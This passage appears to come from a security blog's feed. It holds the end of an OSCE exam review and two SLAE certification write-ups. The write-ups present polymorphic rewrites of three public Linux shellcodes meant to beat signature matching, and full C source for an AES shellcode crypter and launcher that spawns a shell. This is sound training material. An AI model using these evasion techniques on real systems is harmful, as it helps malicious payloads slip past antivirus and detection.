<p>A couple hours later, I decided that I needed to go ahead and do my documentation while I still had access to the lab. This way, if I missed any screenshots, I could still go grab them. This proved plenty fruitful as I wound up fixing at least 5-10 screenshots. I wrapped up preliminary reporting around 0300 of day 3, and called it a night.</p>

<h4 id="03-x-1000---submission">03 x 1000 - Submission</h4>

<p>The next day I woke up around 0930, checked my documentation with a clear mind, and after a few very small tweaks, I submitted the documentation to OffSec for review.</p>

<h2 id="coffee-break">Coffee Break!</h2>

<p>It only took one day for them to get back with me when the most fantastic news,</p>

<p><code class="language-plaintext highlighter-rouge">We are happy to inform you that you have successfully completed the Cracking the Perimeter certification exam and have obtained your Offensive Security Certified Expert (OSCE) certification.
</code></p>

<p>What an incredible feeling to know that you put in some hard work, but it paid off and you’ve made it. I’m thankful to OffSec for such a great course, and thankful for the community around it for keeping the integrity intact so that it still actually means something to complete the OSCE. Since the only other OffSec classes are offered at BlackHat, I think I’ll be done for now. Rumors are floating that AWAE may be coming to the internet soon, and if so, I’ll definitely be jumping on that! Thanks for reading my review of the experience I had with the OSCE. Remember to sign up for our mailing list if you’re interested in courses that teach you some of the back-knowledge I used to pass the exams! Until next time, happy hacking!</p>

<h5 id="extra-resources">Extra Resources</h5>

<p>I’ve heard the following resources are good if you are looking to prepare for the OSCE journey, exam, or if your’e just looking for supplemental knowledge:</p>

<ul>
  <li><a href="https://www.corelan.be/index.php/articles/">CoreLan Exploit Writing Tutotials</a></li>
  <li><a href="http://www.fuzzysecurity.com/tutorials.html">FuzzySecurity Windows Exploit Development Tutorial Series</a></li>
</ul>]]></content><author><name>Adam Brown</name></author><category term="Security" /><category term="osce" /><category term="hacking" /><category term="security" /><category term="review" /><summary type="html"><![CDATA[About a year ago, I received the most satisfying e-mail I had ever received. It was from Offensive-Security, and it was stating that I had successfully obtained my Offensive Security Certified Professional (OSCP) certification on my first try! I was ecstatic, and exhausted. I had put in a hard two months of studying beforehand, and it was time to take a break. But, after 10 months of focusing on other areas of life, I decided it was time to come back and grab my Offensive Security Certified Expert (OSCE) certification, and this is how I did it.]]></summary></entry><entry><title type="html">SLAE Exam 6 Polymorphic Shellcode</title><link href="https://coffeegist.com/security/slae-exam-6-polymorphic-shellcode/" rel="alternate" type="text/html" title="SLAE Exam 6 Polymorphic Shellcode" /><published>2018-05-30T00:00:00+00:00</published><updated>2018-05-30T00:00:00+00:00</updated><id>https://coffeegist.com/security/slae-exam-6-polymorphic-shellcode</id><content type="html" xml:base="https://coffeegist.com/security/slae-exam-6-polymorphic-shellcode/"><![CDATA[<p>So, I’ve been on a slight hiatus from the SLAE because my lab time for OSCE began right as I was finishing this up. So, I put this on pause to complete that. Don’t worry, an OSCE write-up is coming :) But for now, let’s finish out SLAE nice a strong. Today, we’re going to look at morphing shellcode to break the signature detection that might catch it.</p>

<h2 id="problem-statement">Problem Statement</h2>

<ul>
  <li>Take up 3 shellcodes from <a href="http://shell-storm.org">Shell-Storm</a> and create polymorphic versions of them to beat pattern matching</li>
  <li>The polymorphic versions cannot be larger than 150% of the existing shellcode</li>
  <li>Bonus points for making it shorter in length than the original</li>
</ul>

<h2 id="shellcode-1">Shellcode #1</h2>

<p>The first <a href="http://shell-storm.org/shellcode/files/shellcode-571.php">shellcode</a> we’ll take is a simple 42-byte shellcode that calls <code class="language-plaintext highlighter-rouge">/bin/cat /etc/passwd</code> via the <code class="language-plaintext highlighter-rouge">execve</code> system call.</p>

<p><strong><em>original shellcode</em></strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xor eax,eax
cdq

push edx
push 0x7461632f
push 0x6e69622f
mov ebx,esp

push edx

push 0x64777373
push 0x61702f2f
push 0x6374652f
mov ecx,esp

mov al,0xb
push edx
push ecx
push ebx
mov ecx,esp
int 0x80
</code></pre></div></div>

<h4 id="modifications">Modifications</h4>

<p>Looking over this, we see some obvious things we could modify that would produce the same functionality using the same instructions. For example, <code class="language-plaintext highlighter-rouge">cdq</code> is being used here to clear the EDX register, but we could do the same with a special multiply call. EDX is also being used to push null values onto the stack, but we could use a different register. We could also change the order of some of the instructions, which would result in a different signature. Let’s do all of this.</p>

<p><strong><em>morphed shellcode</em></strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xor ebx, ebx    ; Use EBX instead of EAX
mul ebx         ; This clears EAX and EDX for us

push eax        ; Push nulls with EAX
push 0x7461632f
push 0x6e69622f
mov ebx,esp

push eax        ; Push nulls with EAX

push 0x64777373
push 0x61702f2f
push 0x6374652f
mov ecx,esp

push eax        ; Push nulls with EAX
push ecx
push ebx
mov ecx,esp
mov al,0xb      ; Rearrange this command
int 0x80
</code></pre></div></div>

<h4 id="results">Results</h4>

<p>The original shellcode was 43 bytes, and our morphed version was 44 bytes. That results in a <strong>2.3%</strong> increase in size, which is within our boundary! On to the next piece of code.</p>

<h2 id="shellcode-2">Shellcode #2</h2>

<p>This next piece of <a href="http://shell-storm.org/shellcode/files/shellcode-60.php">shellcode</a> we’ll modify is just a fun piece of code designed to emit a tone, and is originally 45 bytes.</p>

<p><strong><em>original shellcode</em></strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>; int fd = open("/dev/tty10", O_RDONLY);
push byte 5
pop eax
cdq
push edx
push 0x30317974
push 0x742f2f2f
push 0x7665642f
mov ebx, esp
mov ecx, edx
int 80h

; ioctl(fd, KDMKTONE (19248), 66729180);
mov ebx, eax
push byte 54
pop eax
mov ecx, 4294948047
not ecx
mov edx, 66729180
int 80h
</code></pre></div></div>

<h4 id="modifications-1">Modifications</h4>

<p>It’s easy to spot a couple of things we might do differently. For example, the way that values are moved into registers could be changed, and ECX has a <code class="language-plaintext highlighter-rouge">not</code> instruction performed on it, when we could just move the correct value there in the first place. Let’s try these out.</p>

<p><strong><em>morphed shellcode</em></strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>; int fd = open("/dev/tty10", O_RDONLY);
xor eax, eax
mov al, 5         ; direct move vs push pop
cdq
push edx
push 0x30317974
push 0x742f2f2f
push 0x7665642f
mov ebx, esp
mov ecx, edx
int 80h

; ioctl(fd, KDMKTONE (19248), 66729180);
mov ebx, eax
mov al, 54        ; direct move vs push pop
mov cx, 0x4b30    ; move correct value vs !value
mov edx, 66729180
int 80h
</code></pre></div></div>

<h4 id="results-1">Results</h4>

<p>The original shellcode was 45 bytes, and our morphed version was 42 bytes. That results in a <strong>6.7%</strong> <em>_decrease_</em> in size, which should award us our bonus! Excellent, on to the last exercise.</p>

<h2 id="shellcode-3">Shellcode #3</h2>

<p>This last <a href="http://shell-storm.org/shellcode/files/shellcode-611.php">shellcode</a> we’ll take is a simple 42-byte shellcode that calls <code class="language-plaintext highlighter-rouge">/usr/bin/wget aaaa</code> via the <code class="language-plaintext highlighter-rouge">execve</code> system call.</p>

<p><strong><em>original shellcode</em></strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>push   0xb
pop    eax
cdq

push   edx
push   0x61616161
mov    ecx,esp
push   edx

push   0x74
push   0x6567772f
push   0x6e69622f
push   0x7273752f
mov    ebx,esp

push   edx
push   ecx
push   ebx
mov    ecx,esp
int    0x80

inc    eax
int    0x80

</code></pre></div></div>

<h4 id="modifications-2">Modifications</h4>

<p>Again, we see some obvious things we can modify, such as how values get into registers, but there’s another technique I haven’t used yet to mangle signatures, and that’s the concept of NOPs. There is the literal instruction NOP, but there are also NOPs that are valid instructions that don’t effect the functionality of the program. For example, if you need the value 0x2 inside the EAX register, you can simply do a <code class="language-plaintext highlighter-rouge">mov eax, 0x2</code>, but you could also do <code class="language-plaintext highlighter-rouge">mov ebx, 0x4; inc edx; mov eax, 0x2; pushad; popad</code>. Even though there are 5 instructions in the second set, it still accomplishes the same goal. We will use that technique in this shellcode as well.</p>

<p><strong><em>morphed shellcode</em></strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>inc esp
inc ebp
cdq

dec    esp
dec    ebp
push   edx
push   0x61616161
inc    edx
mov    ecx,esp
dec    edx
push   edx

push   0x74
push   0x6567772f
push   0x6e69622f
push   0x7273752f
mov    ebx,esp

push   edx
push   ecx
pushad
popad
push   ebx
mov    ecx,esp
push   0xb
pop    eax
int    0x80

add    al, 0x2
dec    al
int    0x80
</code></pre></div></div>

<h4 id="results-2">Results</h4>

<p>The original shellcode was 42 bytes, and our morphed version was 53 bytes. That results in a <em>26%</em> increase in size, which is still within our boundary.</p>

<h2 id="wrapping-up">Wrapping Up</h2>

<p>Overall, this was a good exercise. Not only are these techniques helpful in defeating pattern matching, but they are also helpful when your buffer is susceptible to bad characters, and you need to change opcodes to fit the realm of good characters available. Anyways, I learned some great tricks here, and I hope you have as well. Until next time, happy hacking!</p>

<h6 id="slae-exam-statement">SLAE Exam Statement</h6>

<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</p>

<p>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</p>

<p>Student ID: SLAE-1158</p>]]></content><author><name>Adam Brown</name></author><category term="Security" /><category term="slae" /><category term="shell" /><category term="assembly" /><category term="programming" /><summary type="html"><![CDATA[So, I’ve been on a slight hiatus from the SLAE because my lab time for OSCE began right as I was finishing this up. So, I put this on pause to complete that. Don’t worry, an OSCE write-up is coming :) But for now, let’s finish out SLAE nice a strong. Today, we’re going to look at morphing shellcode to break the signature detection that might catch it.]]></summary></entry><entry><title type="html">SLAE Exam 7 Custom Crypter</title><link href="https://coffeegist.com/security/slae-exam-7-custom-crypter/" rel="alternate" type="text/html" title="SLAE Exam 7 Custom Crypter" /><published>2018-05-30T00:00:00+00:00</published><updated>2018-05-30T00:00:00+00:00</updated><id>https://coffeegist.com/security/slae-exam-7-custom-crypter</id><content type="html" xml:base="https://coffeegist.com/security/slae-exam-7-custom-crypter/"><![CDATA[<p>Today we’re throwing down the landing gear and finishing up with SLAE! It’s been a great ride and I’ve learned a lot on the journey. With this last assignment the goal is to create a program that encrypts shellcode, and a program that decrypts and runs that shellcode. This would assist if your shellcode was getting flagged, and you weren’t able to bypass the signature with the basic polymorphic techniques covered in assignment 6.</p>

<h2 id="problem-statement">Problem Statement</h2>

<ul>
  <li>Create a custom crypter like the one shown in the “crypters” video</li>
  <li>Feel free to use any existing encryption schema</li>
  <li>Can use any programming language</li>
</ul>

<h2 id="aes-cbc">AES-CBC</h2>

<p>For this challenge, I decided to go with the popular AES-256 encryption schema in CBC mode, and we decided to develop this in C. Since AES-256 is a popular schema, we knew we wouldn’t have to reinvent the wheel. So, we grabbed a small portable copy from <a href="https://github.com/kokke/tiny-AES-c">kokke’s github</a>. We also used the <code class="language-plaintext highlighter-rouge">execve</code> shellcode from the course for testing. Let’s get started!</p>

<h4 id="compiling-tiny-aes">Compiling Tiny AES</h4>

<p>One small step we needed to take in the beginning was to compile our AES library, so that we could use it throughout the rest of the assignment. That was done using the following command:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gcc <span class="nt">-Wall</span> <span class="nt">-Os</span> <span class="nt">-c</span> <span class="nt">-o</span> aes.o aes.c
</code></pre></div></div>

<p>On to the crypter!</p>

<h3 id="encrypter">Encrypter</h3>

<p>The encrypter’s job would be to hold known shellcode, and encrypt it with a key given to it by the user. We came up with the implementation below.</p>

<p><strong><em>crypter.c</em></strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdint.h&gt;</span><span class="cp">
</span>
<span class="c1">// Enabling CBC must be done before including aes.h or at compile-time.</span>
<span class="c1">// For compile time, use -DCBC=1</span>
<span class="cp">#define CBC 1
</span>
<span class="cp">#include</span> <span class="cpf">"aes.h"</span><span class="cp">
</span>
<span class="c1">// execve /bin/sh</span>
<span class="kt">uint8_t</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80</span><span class="s">"</span><span class="p">;</span>

<span class="kt">void</span> <span class="nf">printHex</span><span class="p">(</span><span class="kt">uint8_t</span><span class="o">*</span> <span class="n">buffer</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">x%02X"</span><span class="p">,</span> <span class="n">buffer</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
    <span class="p">}</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>


<span class="kt">void</span> <span class="nf">encrypt</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">givenKey</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint8_t</span> <span class="n">key</span><span class="p">[</span><span class="mi">32</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
    <span class="kt">uint8_t</span> <span class="n">iv</span><span class="p">[]</span>  <span class="o">=</span> <span class="p">{</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0f</span> <span class="p">};</span>
    <span class="k">struct</span> <span class="n">AES_ctx</span> <span class="n">ctx</span><span class="p">;</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Encrypting..."</span><span class="p">);</span>

    <span class="n">memcpy</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">givenKey</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">givenKey</span><span class="p">));</span>
    <span class="n">AES_init_ctx_iv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
    <span class="n">AES_CBC_encrypt_buffer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Done!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>


<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
    <span class="kt">size_t</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// disregard null terminator</span>
    <span class="kt">size_t</span> <span class="n">encryptedSize</span> <span class="o">=</span> <span class="p">(</span><span class="mi">16</span> <span class="o">-</span> <span class="p">(</span><span class="n">shellcodeSize</span> <span class="o">%</span> <span class="mi">16</span><span class="p">)</span> <span class="o">+</span> <span class="n">shellcodeSize</span><span class="p">);</span> <span class="c1">// account for padding</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Original Shellcode:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">printHex</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

    <span class="n">encrypt</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">shellcodeSize</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Encrypted Shellcode:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">printHex</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">encryptedSize</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="compiling-the-crypter">Compiling the Crypter</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gcc <span class="nt">-Wall</span> <span class="nt">-Os</span> crypter.c aes.o aes.h <span class="nt">-o</span> crypter
</code></pre></div></div>

<h4 id="running-the-crypter">Running the Crypter</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./crypter <span class="s2">"brownee and coffee 4 life"</span>
Original Shellcode:
<span class="se">\x</span>31<span class="se">\x</span>C0<span class="se">\x</span>31<span class="se">\x</span>DB<span class="se">\x</span>31<span class="se">\x</span>C9<span class="se">\x</span>31<span class="se">\x</span>D2<span class="se">\x</span>50<span class="se">\x</span>68<span class="se">\x</span>6E<span class="se">\x</span>2F<span class="se">\x</span>73<span class="se">\x</span>68<span class="se">\x</span>68<span class="se">\x</span>2F<span class="se">\x</span>2F<span class="se">\x</span>62
<span class="se">\x</span>69<span class="se">\x</span>68<span class="se">\x</span>2F<span class="se">\x</span>2F<span class="se">\x</span>2F<span class="se">\x</span>2F<span class="se">\x</span>89<span class="se">\x</span>E3<span class="se">\x</span>50<span class="se">\x</span>89<span class="se">\x</span>E2<span class="se">\x</span>53<span class="se">\x</span>89<span class="se">\x</span>E1<span class="se">\x</span>B0<span class="se">\x</span>0B<span class="se">\x</span>CD<span class="se">\x</span>80

Encrypting...Done!

Encrypted Shellcode:
<span class="se">\x</span>2F<span class="se">\x</span>98<span class="se">\x</span>36<span class="se">\x</span>4B<span class="se">\x</span>A8<span class="se">\x</span>D1<span class="se">\x</span>48<span class="se">\x</span>01<span class="se">\x</span>44<span class="se">\x</span>BB<span class="se">\x</span>3D<span class="se">\x</span>CC<span class="se">\x</span>15<span class="se">\x</span>BB<span class="se">\x</span>29<span class="se">\x</span>08<span class="se">\x</span>09<span class="se">\x</span>63
<span class="se">\x</span>79<span class="se">\x</span>69<span class="se">\x</span>B7<span class="se">\x</span>0B<span class="se">\x</span>EA<span class="se">\x</span>9D<span class="se">\x</span>7A<span class="se">\x</span>EB<span class="se">\x</span>E9<span class="se">\x</span>E6<span class="se">\x</span>01<span class="se">\x</span>96<span class="se">\x</span>7A<span class="se">\x</span>56<span class="se">\x</span>B8<span class="se">\x</span>94<span class="se">\x</span>D7<span class="se">\x</span>08
<span class="se">\x</span>67<span class="se">\x</span>49<span class="se">\x</span>1D<span class="se">\x</span>31<span class="se">\x</span>6E<span class="se">\x</span>B4<span class="se">\x</span>61<span class="se">\x</span>08<span class="se">\x</span>31<span class="se">\x</span>B8<span class="se">\x</span>C5<span class="se">\x</span>40
</code></pre></div></div>

<h3 id="decrypter--launcher">Decrypter / Launcher</h3>

<p>Now that we’ve obtained our encrypted shellcode, we’ll place that in our decrypter, shown below.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdint.h&gt;</span><span class="cp">
</span>
<span class="c1">// Enabling CBC must be done before including aes.h or at compile-time.</span>
<span class="c1">// For compile time, use -DCBC=1</span>
<span class="cp">#define CBC 1
</span>
<span class="cp">#include</span> <span class="cpf">"aes.h"</span><span class="cp">
</span>
<span class="c1">// encrypted execve /bin/sh</span>
<span class="kt">uint8_t</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x2F\x98\x36\x4B\xA8\xD1\x48\x01\x44\xBB\x3D\xCC\x15\xBB\x29\x08\x09\x63\x79\x69\xB7\x0B\xEA\x9D\x7A\xEB\xE9\xE6\x01\x96\x7A\x56\xB8\x94\xD7\x08\x67\x49\x1D\x31\x6E\xB4\x61\x08\x31\xB8\xC5\x40</span><span class="s">"</span><span class="p">;</span>

<span class="kt">void</span> <span class="nf">printHex</span><span class="p">(</span><span class="kt">uint8_t</span><span class="o">*</span> <span class="n">buffer</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">x%02X"</span><span class="p">,</span> <span class="n">buffer</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
    <span class="p">}</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>


<span class="kt">void</span> <span class="nf">decrypt</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">givenKey</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint8_t</span> <span class="n">key</span><span class="p">[</span><span class="mi">32</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
    <span class="kt">uint8_t</span> <span class="n">iv</span><span class="p">[]</span>  <span class="o">=</span> <span class="p">{</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0f</span> <span class="p">};</span>
    <span class="k">struct</span> <span class="n">AES_ctx</span> <span class="n">ctx</span><span class="p">;</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Decrypting shellcode..."</span><span class="p">);</span>

    <span class="n">memcpy</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">givenKey</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">givenKey</span><span class="p">));</span>
    <span class="n">AES_init_ctx_iv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
    <span class="n">AES_CBC_decrypt_buffer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Done!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>


<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
    <span class="kt">size_t</span> <span class="n">encryptedSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// disregard null terminator</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Encrypted Shellcode:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">printHex</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">encryptedSize</span><span class="p">);</span>

    <span class="n">decrypt</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">encryptedSize</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Decrypted Shellcode:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">printHex</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">encryptedSize</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Launching shellcode...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">ret</span><span class="p">)()</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">(</span><span class="o">*</span><span class="p">)())</span><span class="n">shellcode</span><span class="p">;</span>
    <span class="n">ret</span><span class="p">();</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This code takes our encrypted shellcode, and decrypts it using a key given by the user. Then, it calls the decrypted shellcode in order to launch our payload. Let’s compile it and give it a shot.</p>

<h4 id="compiling-the-decrypter">Compiling the Decrypter</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gcc <span class="nt">-Wall</span> <span class="nt">-Os</span> decrypter.c aes.o aes.h <span class="nt">-o</span> decrypter
</code></pre></div></div>

<h4 id="running-the-decrypter">Running the Decrypter</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./decrypter <span class="s2">"brownee and coffee 4 life"</span>
Encrypted Shellcode:
<span class="se">\x</span>2F<span class="se">\x</span>98<span class="se">\x</span>36<span class="se">\x</span>4B<span class="se">\x</span>A8<span class="se">\x</span>D1<span class="se">\x</span>48<span class="se">\x</span>01<span class="se">\x</span>44<span class="se">\x</span>BB<span class="se">\x</span>3D<span class="se">\x</span>CC<span class="se">\x</span>15<span class="se">\x</span>BB<span class="se">\x</span>29<span class="se">\x</span>08<span class="se">\x</span>09<span class="se">\x</span>63
<span class="se">\x</span>79<span class="se">\x</span>69<span class="se">\x</span>B7<span class="se">\x</span>0B<span class="se">\x</span>EA<span class="se">\x</span>9D<span class="se">\x</span>7A<span class="se">\x</span>EB<span class="se">\x</span>E9<span class="se">\x</span>E6<span class="se">\x</span>01<span class="se">\x</span>96<span class="se">\x</span>7A<span class="se">\x</span>56<span class="se">\x</span>B8<span class="se">\x</span>94<span class="se">\x</span>D7<span class="se">\x</span>08
<span class="se">\x</span>67<span class="se">\x</span>49<span class="se">\x</span>1D<span class="se">\x</span>31<span class="se">\x</span>6E<span class="se">\x</span>B4<span class="se">\x</span>61<span class="se">\x</span>08<span class="se">\x</span>31<span class="se">\x</span>B8<span class="se">\x</span>C5<span class="se">\x</span>40

Decrypting shellcode...Done!

Decrypted Shellcode:
<span class="se">\x</span>31<span class="se">\x</span>C0<span class="se">\x</span>31<span class="se">\x</span>DB<span class="se">\x</span>31<span class="se">\x</span>C9<span class="se">\x</span>31<span class="se">\x</span>D2<span class="se">\x</span>50<span class="se">\x</span>68<span class="se">\x</span>6E<span class="se">\x</span>2F<span class="se">\x</span>73<span class="se">\x</span>68<span class="se">\x</span>68<span class="se">\x</span>2F<span class="se">\x</span>2F<span class="se">\x</span>62
<span class="se">\x</span>69<span class="se">\x</span>68<span class="se">\x</span>2F<span class="se">\x</span>2F<span class="se">\x</span>2F<span class="se">\x</span>2F<span class="se">\x</span>89<span class="se">\x</span>E3<span class="se">\x</span>50<span class="se">\x</span>89<span class="se">\x</span>E2<span class="se">\x</span>53<span class="se">\x</span>89<span class="se">\x</span>E1<span class="se">\x</span>B0<span class="se">\x</span>0B<span class="se">\x</span>CD<span class="se">\x</span>80
<span class="se">\x</span>00<span class="se">\x</span>00<span class="se">\x</span>00<span class="se">\x</span>00<span class="se">\x</span>00<span class="se">\x</span>00<span class="se">\x</span>00<span class="se">\x</span>00<span class="se">\x</span>00<span class="se">\x</span>00<span class="se">\x</span>00<span class="se">\x</span>00

Launching shellcode...
<span class="c"># id</span>
<span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
<span class="c"># exit</span>
</code></pre></div></div>

<p>Excellent, everything seems to be working, and our payload successfully executed.</p>

<h2 id="wrapping-up">Wrapping Up</h2>

